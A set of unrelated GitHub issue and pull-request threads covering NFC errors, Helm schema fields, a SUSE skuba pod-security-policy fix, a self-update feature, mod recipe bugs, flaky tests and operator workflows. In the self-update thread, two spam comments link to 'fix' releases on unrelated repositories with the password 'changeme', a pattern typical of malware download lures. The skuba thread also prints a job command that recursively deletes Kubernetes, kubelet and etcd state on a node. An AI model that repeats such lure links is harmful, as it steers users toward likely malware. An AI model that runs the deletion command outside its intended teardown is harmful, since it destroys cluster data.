        let resp = await NfcManager.requestTechnology(NfcTech.MifareIOS, {
          alertMessage: this.props.scanMessage,
        });

        tag = await NfcManager.getTag();
      } catch (ex) {
        console.warn('ex', ex);
      } finally {
        this._cleanUp();
      }
      if (tag) {
        this.nfcTagEventHandler(tag);
      }
    })();`

I am getting this error (NFCError:100,nfcd:15) in that function above. In latest version of IOS.


Consider adding hidden tag

Sometimes you want to hide some fields not with readonly, but completly so external user won't have full schema.
What do you think about adding # @schema hidden: true? So it will ignore this field.

+1 on this.
The use case for us is that we generate the form using the schema-json but there are some values that we do not want to expose to the user (for various reasons).
Having a "hidden" concept could allow to NOT generate the field, in this case I would propose an "exclude: true".

the advantage is the we can use the single original values.yaml without having to have a values-redacted.yaml one

yeah, sure. sounds like a reasonable request and there is obviously interest for it. I'll try to find time for it this week but don't quote me on that :)


Fix PSP for kubelet disarm job, bsc#1138908

Why is this PR needed?
This is fixing issue with skuba node remove
Events:
  Type     Reason        Age                 From            Message
  ----     ------        ----                ----            -------
  Warning  FailedCreate  17m (x5 over 27m)   job-controller  Error creating: pods "caasp-kubelet-disarm-2252cf16586356ab302f21910a903fdce1075aa0-" is forbidden: unable to validate against any pod security policy: [spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[1]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[3]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed]
  Warning  FailedCreate  5m1s (x4 over 26m)  job-controller  Error creating: pods "caasp-kubelet-disarm-2252cf16586356ab302f21910a903fdce1075aa0-" is forbidden: unable to validate against any pod security policy: [spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[1]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[3]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed]

Fixes # https://github.com/SUSE/avant-garde/issues/1455
What does this PR do?
skuba node remove -v5 caasp-worker-mjura-0
** This is an UNTAGGED version and NOT intended for production usage. **
[remove-node] removing worker node caasp-worker-mjura-0 (drain timeout: 0s)
W0409 09:19:28.576326    4751 replica.go:346] waiting for deployment be available: 5
I0409 09:19:33.952760    4751 replica.go:334] deployment oidc-dex is available
W0409 09:19:34.897862    4751 replica.go:346] waiting for deployment be available: 5
I0409 09:19:40.155982    4751 replica.go:334] deployment oidc-gangway is available
I0409 09:19:43.772072    4751 nodes.go:109] node caasp-worker-mjura-0 correctly drained
I0409 09:19:44.234194    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:45.439346    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:46.662218    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:48.068500    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:49.277455    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:50.698383    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:52.101764    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:53.317702    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:54.523047    4751 jobs.go:71] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de is active, waiting...
I0409 09:19:55.741637    4751 jobs.go:74] job caasp-kubelet-disarm-fbfbfa882e80bafa4526fc70391d66a094f4c5de executed successfully
[remove-node] node caasp-worker-mjura-0 successfully removed from the cluster

Merge restrictions
(Please do not edit this)
We are in v4-maintenance phase, so we will restrict what can be merged to prevent unexpected surprises:
What can be merged (merge criteria):
    2 approvals:
        1 developer: code is fine
        1 QA: QA is fine
    there is a PR for updating documentation (or a statement that this is not needed)

This gets the same error: Privileged containers are not allowed.

I'm sorry, but I can't reproduce your issue

The simplest solution would be changing "privilegedJob := true" to false in internal/pkg/skuba/kubernetes/kubelet.go.

There is no such capability like privilegedJob Jobs, Deployments run Pods and to privileged mode use privileged capability in PodSpec

The simplest solution would be changing "privilegedJob := true" to false in internal/pkg/skuba/kubernetes/kubelet.go.

If you are talking about https://github.com/SUSE/skuba/blob/master/internal/pkg/skuba/kubernetes/kubelet.go#L97
then this patch is fixing this by assigning kube-disarm ServiceAccount to suse.caasp.psp.privileged
https://github.com/SUSE/skuba/blob/master/internal/pkg/skuba/addons/psp.go#L45

The simplest solution would be changing "privilegedJob := true" to false in internal/pkg/skuba/kubernetes/kubelet.go.

If you are talking about https://github.com/SUSE/skuba/blob/master/internal/pkg/skuba/kubernetes/kubelet.go#L97
then this patch is fixing this by assigning kube-disarm ServiceAccount to suse.caasp.psp.privileged
https://github.com/SUSE/skuba/blob/master/internal/pkg/skuba/addons/psp.go#L45

kubectl get sa kubelet-disarm  -n kube-system
NAME             SECRETS   AGE
kubelet-disarm   1         35m

kubectl describe clusterrolebinding suse:caasp:psp:kube-disarm
Name:         suse:caasp:psp:kube-disarm
Labels:       <none>
Annotations:  kubectl.kubernetes.io/last-applied-configuration:
                {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"suse:caasp:psp:kube-disarm"}...
Role:
  Kind:  ClusterRole
  Name:  suse:caasp:psp:privileged
Subjects:
  Kind            Name         Namespace
  ----            ----         ---------
  ServiceAccount  kube-disarm  kube-system

The above is what you had on psp.yaml
And this is the result after I remove a worker node ( it shows that the SA is kubelet-disarm).
kubectl describe job caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953 -n kube-system
Name:           caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953
Namespace:      kube-system
Selector:       controller-uid=185d7dd3-044f-4267-9409-999a793b8824
Labels:         controller-uid=185d7dd3-044f-4267-9409-999a793b8824
                job-name=caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953
Annotations:    <none>
Parallelism:    1
Completions:    1
Pods Statuses:  0 Running / 0 Succeeded / 0 Failed
Pod Template:
  Labels:           controller-uid=185d7dd3-044f-4267-9409-999a793b8824
                    job-name=caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953
  Service Account:  kubelet-disarm
  Containers:
   caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953:
    Image:      registry.suse.de/devel/caasp/4.0/containers/containers/caasp/v4/skuba-tooling:0.1.0
    Port:       <none>
    Host Port:  <none>
    Command:
      /bin/bash
      -c
      rm -rf /etc/kubernetes/* && rm -rf /var/lib/kubelet/pki/* && rm -f /var/lib/kubelet/{config.yaml,kubeadm-flags.env} && rm -rf /var/lib/etcd/* && dbus-send --system --print-reply --dest=org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager.DisableUnitFiles array:string:'kubelet.service' boolean:false && dbus-send --system --print-reply --dest=org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager.MaskUnitFiles array:string:'kubelet.service' boolean:false boolean:true
    Environment:  <none>
    Mounts:
      /etc/kubernetes from etc-kubernetes (rw)
      /var/lib/etcd from var-lib-etcd (rw)
      /var/lib/kubelet from var-lib-kubelet (rw)
      /var/run/dbus from var-run-dbus (rw)
  Volumes:
   etc-kubernetes:
    Type:          HostPath (bare host directory volume)
    Path:          /etc/kubernetes
    HostPathType:
   var-lib-kubelet:
    Type:          HostPath (bare host directory volume)
    Path:          /var/lib/kubelet
    HostPathType:
   var-lib-etcd:
    Type:          HostPath (bare host directory volume)
    Path:          /var/lib/etcd
    HostPathType:
   var-run-dbus:
    Type:          HostPath (bare host directory volume)
    Path:          /var/run/dbus
    HostPathType:
Events:
  Type     Reason        Age                From            Message
  ----     ------        ----               ----            -------
  Warning  FailedCreate  17s (x2 over 27s)  job-controller  Error creating: pods "caasp-kubelet-disarm-0d57622f97fd4329aefadadd04576c90d2c0e953-" is forbidden: unable to validate against any pod security policy: [spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[1]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[2]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.volumes[3]: Invalid value: "hostPath": hostPath volumes are not allowed to be used spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed]

I finally got enough workarounds in place to get up a cluster, and with this change in place was able to successfully remove nodes, and rebooting the removed nodes did not cause them to rejoin the cluster.
We discussed this change a bit, and I think in general it would be nicer to have a separate PSPs dedicated to different jobs.  But that can be refactoring work later, so I'll give my approval to this PR for the master branch.
Also note, this change is needed to un-showstopper the 4.2.0 release, so I'll be picking and testing on that branch next.

(late to the party)
Seems a little painful to make this fully privileged instead of just adding the necessary capabilities (DAC_OVERRIDE for the removal, and I'm not sure what for the dbus socket - maybe SYS_ADMIN).  But given the container purpose and time constraint, this is certainly fine for now.
We've got passing CI results now (thanks for coordinating, @jordimassaguerpla ) and lots of approvals, so Let's get it merged in.


add: --self-update for cosmopolitan installs

I'd want to see how far I could get with just the built-in python calls before jumping ship and using requests.

to fix your trouble check this fix, i see it in another issue,
https://github.com/aravinda-gamage/x86_64-win64-ranlib/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

I'd have to:

check if this was a cosmopolitan install (touch some file before zipping)
check if there was an updated version
download the file to a temp directory
compute checksum
chmod +x
move to current location

Could put version number + checksum as a release asset .json so I can fetch both. I should see what uv does for receipts.

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

import hashlib
def compute_file_hash(file_path, hash_function='sha256'):
    hash_func = getattr(hashlib, hash_function)()
    with open(file_path, 'rb') as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_func.update(chunk)
    return hash_func.hexdigest()


Some items aren't there or have broken recipes (Fabric 1.19.2)

'with_thursday:chocolate_sundae', 'with_thursday:fish_burger' don't exist
with_thursday:ice_cream_float, with_thursday:sundae aren't valid recipes (they're both looking for the same item with what appears to be the wrong name)
with_thursday:corn_salad is an invalid recipe, with_thursday:none_fruit_juice requires Pam's Harvestcraft apple juice instead of something that exists on Fabric,
Spicy Squid's recipe is named with_thursday:spicy_squid and it's looking for 'vanillarecipe:cook_squid' as an item

I forget delete them... I'll reconfigure recipes when I have enough time, thanks for report


add Dutch language support #39"

Our month's are not capitalised.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (1f132ba) 100.00% compared to head (f7553ee) 100.00%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff            @@
##            master      #191   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           20        20
  Lines         3058      3058
=========================================
  Hits          3058      3058

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Thanks for your contribution


Buggy Speaker entries

When I request a Speaker entry with this route: https://github.com/TechStreamConference/website-backend/blob/74-provide-necessary-endpoints-for-the-speaker-dashboard/app/Config/Routes.php#L54 I don't get the new entry. Even when I saved the data successfully the returned data are still the same.
It seems that the save process is working just fine. The expected entries are in the database.
Also the displayed entries for the main page seems kind of broken because when I approve the data manually in the database the expected data gets not delivered.

This is not a bug, this is a feature 🫠
The error stems from the data that is produces by the seeders. That data contains updated_at values that are in the future.


Cannot download some paper pdf

Cannot download some paper, error with scholarly package

Resolved in v0.0.1


CalculateCoverageComponentsIntegrationTest.testSimpleMatrix fails intermittently

org.broadinstitute.hellbender.tools.exome.CalculateCoverageComponentsIntegrationTest.testSimpleMatrix FAILED
    java.lang.AssertionError: expected [4] but found [3]
        at org.testng.Assert.fail(Assert.java:94)
        at org.testng.Assert.failNotEquals(Assert.java:496)
        at org.testng.Assert.assertEquals(Assert.java:125)
        at org.testng.Assert.assertEquals(Assert.java:372)
        at org.testng.Assert.assertEquals(Assert.java:382)
        at org.broadinstitute.hellbender.utils.pca.PCAUnitTest.assertEquals(PCAUnitTest.java:201)
        at org.broadinstitute.hellbender.tools.exome.CalculateCoverageComponentsIntegrationTest.testSimpleMatrix(CalculateCoverageComponentsIntegrationTest.java:54)

This was seen during rebuilds of #192

@vruano I made a ticket for this just in case others run into it.  Feel free to close if you think it's not relevant.

Interestingly I cannot reproduce the error and master is currently passing tests.

I tried to disable Spark on that tool which is on by default but either-way it passes the tests.

Must be some race condition in the tests then?  Or maybe something platform specific to travis?

So what should I do?! I can disable spark in the test to avoid future recurrences yet that is sweeping it under the carpet.

Btw this seems to affect @davidbenjamin issue as well as it passes in master.

Will close and it should have been fixed. Please open if it reappears.


Question about the loss computation

https://github.com/tfzhou/ContrastiveSeg/blob/2ab84d8ec679adc7f7be1853c8684b44bf899273/lib/loss/loss_contrast.py#L106
Would you mind explain why is it needed to subtract max of the inner product from each of the inner product per anchor?

Same question here

To avoid the numerical overflow of softmax function. It is equivalent whether to subtract logits_max.detach().

To avoid the numerical overflow of softmax function. It is equivalent whether to subtract logits_max.detach().

isn't the feature vector already l2 normalised? so this subtraction would just shift the range of the inner product from [0, 1) to [-1, 0)

Yes, it is to avoid the numerical overflow to subtract logits_max.detach()

Thx! @eezywu and @tfzhou, I got it now


[wip] Customize UI config.js from server config

This PR enables customizing UI config.js by using server config.

I will close it because no progress for long time.


Fix invalid syntax in documentation (#7032)

Pull request opened by the merge tool on behalf of #7032

Merged in 3daf29f3868e14a653485c35bdc694430003de0b


Workflows update

This should help by creating subscription of NOO catalog image developed from main branch as an alternative to make deploy target
/cc @jotak @jpinsonneau

@jotak I've some confusion around this workflows, when I create a catalog using the NOO image bundle created by this workflow, the PackageManifests still uses 0.1.4 i.e. version published to OperatorHub:

any ideas why it uses 0.1.4 as version in PackageManifests? is it just some config issue and it actually would use the NOO image tagged as main ? Just want to make sure that when use catalog image bundle using that's pushed using this workflow actually using correct images.

As far as I can tell, that's because you call make bundle-build without prior call of make bundle, so the version that is used is still whatever is in bundle/manifests/netobserv-operator.clusterserviceversion.yaml.

Okay, does it only use the version name? does it actually deploy NOO image with that version, in this case 0.1.4?

Okay, does it only use the version name? does it actually deploy NOO image with that version, in this case 0.1.4?

Yes it will use 0.1.4 in the end. Running VERSION=main make bundle-build will only set the version of the bundle docker image but it doesn't affect the version of underlying components, so you will actually get the last release and not the current main build.

@memodi I sent you a patch suggestion on your branch

thanks @jotak. I tried to run the workflow in my forked repo, however it failed for make bundle-for-test step since operator-sdk is not installed. Any ideas how we can include through GH Actions? I tried to setup using this GH Action  available at marketplace, but it seems buggy where it would not find newer operator-sdk versions.

oh, correct, I didn't think about that.. we should probably add a make target that installs operator-sdk

oh, correct, I didn't think about that.. we should probably add a make target that installs operator-sdk

alright, I added operator-sdk install to Makefile and also tested out on my forked repo , PTAL. thanks!

/approved

thanks @jotak , I think it needs approved label for it to be able to merge?

/approve


updates strings for cases when only 1 address is found for a category…

… (plural vs singular); closes #47

@wpears - added radix.